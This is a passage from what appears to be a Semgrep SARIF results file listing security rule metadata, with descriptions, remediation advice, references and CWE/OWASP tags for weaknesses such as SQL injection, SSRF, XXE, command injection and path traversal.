Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-direct-response-django.tainted-direct-response-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.django.db.sqlalchemy-django.sqlalchemy-django","id":"python.django.db.sqlalchemy-django.sqlalchemy-django","name":"python.django.db.sqlalchemy-django.sqlalchemy-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.sqlalchemy-django.sqlalchemy-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, piped to eval"},"help":{"markdown":"Potential arbitrary code execution, piped to eval\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Potential arbitrary code execution, piped to eval"},"helpUri":"https://semgrep.dev/r/javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","id":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","name":"javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.thenify.security.audit.multiargs-code-execution.multiargs-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","id":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","name":"javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-exposed-chrome-devtools.puppeteer-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","id":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","name":"java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-msg.java-http-concat-taint-msg"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxreader-xxe.saxreader-xxe","id":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","name":"java.lang.security.xxe.saxreader-xxe.saxreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxreader-xxe.saxreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"help":{"markdown":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"top-level app.run(...) is ignored by flask. Consider putting app.run(...) behind a guard, like inside a function"},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","id":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","name":"python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly","properties":{"precision":"very-high","tags":["CWE-668: Exposure of Resource to Wrong Sphere","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.app-run-security-config.avoid_using_app_run_directly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"help":{"markdown":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n - [https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens](https://portal.securecodewarrior.com/#/learning-resources/application_security_weaknesses~2Fweb~2Fauth~2Fsession~2Fexposedtokens)\n","text":"URL rewriting has significant security risks. Since session ID appears in the URL, it may be easily seen by third parties."},"helpUri":"https://semgrep.dev/r/java.servlets.security.audit.url-rewriting.url-rewriting","id":"java.servlets.security.audit.url-rewriting.url-rewriting","name":"java.servlets.security.audit.url-rewriting.url-rewriting","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.audit.url-rewriting.url-rewriting"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"help":{"markdown":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec)\n - [https://www.stackhawk.com/blog/php-command-injection/](https://www.stackhawk.com/blog/php-command-injection/)\n - [https://brightsec.com/blog/code-injection-php/](https://brightsec.com/blog/code-injection-php/)\n - [https://www.acunetix.com/websitesecurity/php-security-2/](https://www.acunetix.com/websitesecurity/php-security-2/)\n","text":"Executing non-constant commands. This can lead to command injection. You should use `escapeshellarg()` when using command."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-exec.tainted-exec","id":"php.lang.security.tainted-exec.tainted-exec","name":"php.lang.security.tainted-exec.tainted-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-exec.tainted-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"help":{"markdown":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations](https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object](https://wiki.sei.cmu.edu/confluence/display/c/MEM35-C.+Allocate+sufficient+memory+for+an+object)\n - [https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range](https://www.securecoding.cert.org/confluence/display/c/ARR32-C.+Ensure+size+arguments+for+variable+length+arrays+are+in+a+valid+range)\n","text":"Externally controlled data influences the size of an allocation. This can usually lead to overflow or underflow and later trigger an out of bounds conditions."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","id":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","name":"cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.allocation.tainted-allocation-size.tainted-allocation-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n - [https://github.com/ESAPI/owasp-esapi-js](https://github.com/ESAPI/owasp-esapi-js)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need this data on the rendered page, consider placing it in the HTML portion (outside of a script tag). Alternatively, use a JavaScript-specific encoder, such as the one available in OWASP ESAPI."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","id":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","name":"javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.ejs.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n","text":"This GitHub Actions workflow file uses `pull_request_target` and checks out code from the incoming pull request. When using `pull_request_target`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","id":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","name":"yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.pull-request-target-code-checkout.pull-request-target-code-checkout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","id":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","name":"go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-csrf-hardcoded-auth-key.gorilla-csrf-hardcoded-auth-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://certificate.transparency.dev/](https://certificate.transparency.dev/)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the Certificate Transparency option. By opting in for Certificate Transparency (CT), rogue CA or compromised CA issued certificates may be identified and blocked, creating a more reliably secure TLS channel."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-ct.ATS-consider-ct","id":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","name":"swift.insecure-communication.ats.ats-ct.ATS-consider-ct","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-ct.ATS-consider-ct"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx](https://github.com/lxml/lxml/blob/master/src/lxml/etree.pyx)\n - [https://lxml.de/parsing.html](https://lxml.de/parsing.html)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","id":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","name":"python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-lxml.tainted-django-xml-lxml"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-fs-django.tainted-path-traversal-fs-django)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file 